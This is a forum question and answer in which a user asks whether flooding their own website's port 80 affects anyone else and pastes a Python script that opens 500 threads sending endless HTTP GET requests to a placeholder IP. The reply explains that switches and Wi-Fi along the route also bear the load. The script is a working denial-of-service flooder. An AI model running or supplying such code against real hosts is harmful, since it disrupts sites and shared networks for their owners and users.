Is my IPv4 private just to me and only devices on my network get slower service if I start a DDoS?
I'm trying to test my website and taking port 80 just to see if it slows my website or takes it down, just wanna know if my IPv4 address is legal to use and does not affect anyone, please let me know thanks!
This is my code anyway:
import socket
import threading
target = '123.123.123.123'
port = 80
fake_ip = '123.123.123.123'
def attack():
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port))
s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port))
s.close()
for i in range(500):
thread = threading.Thread(target=attack)
thread.start()
attack_num = 0
def attack():
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port))
s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port))
global attack_num
attack_num += 1
print(attack_num)
s.close()
Whether it's "IPv4" doesn't really matter. What matters is what network devices are between the network node you initiate the DDoS from and the machine you're DDoS-ing.
For example, if you connect to one computer from another and they are connected via a switch, that switch will have to carry the load as well. Similarly, if you're connecting over Wifi, the wifi network will see all the traffic.
Consider what route your attack will take and keep in mind that, depending on the type of attack you're testing, all the intermediate devices may suffer.
Since you're only hammering port 80, it's probably not as bad as it could be, but it's still wise to make sure you're not getting in the way of normal traffic.